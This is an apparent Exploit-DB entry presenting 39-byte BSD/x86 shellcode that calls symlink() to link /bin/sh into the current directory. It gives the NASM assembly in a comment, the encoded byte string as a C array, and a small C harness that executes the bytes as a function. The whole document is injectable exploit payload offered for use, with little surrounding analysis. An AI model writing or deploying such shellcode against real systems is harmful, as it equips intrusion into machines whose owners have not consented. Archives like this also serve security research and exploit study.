BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

EDB-ID:

43640

CVE:

N/A


Author:

dev0id


Platform:

BSD_x86

Date:

2009-01-01


/*The shellcode calls the symlink() and makes the 
 link to the /bin/sh in the current dir.
 size = 39 bytes
 OS   = *BSD
 	written by /rootteam/dev0id (rootteam.void.ru)
	
	
BITS 32
jmp short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+7],al
	mov byte [esi+10],al
	lea	ebx,[esi+8]
	push	ebx
	lea	ebx,[esi]
	push	ebx
	mov	al,57
	push	eax
	int	0x80
	
callme:
	call	main
	db	'/bin/sh#sh#'
*/

char shellcode[] =
	"\xeb\x15\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x8d\x5e\x08\x53"
	"\x8d\x1e\x53\xb0\x39\x50\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
	"\x69\x6e\x2f\x73\x68\x23\x73\x68\x23";


 

 


int
main (void)
{
	void (*code)(void);
	code=(void(*)())shellcode;
	(void)code();
	return 0;
		
}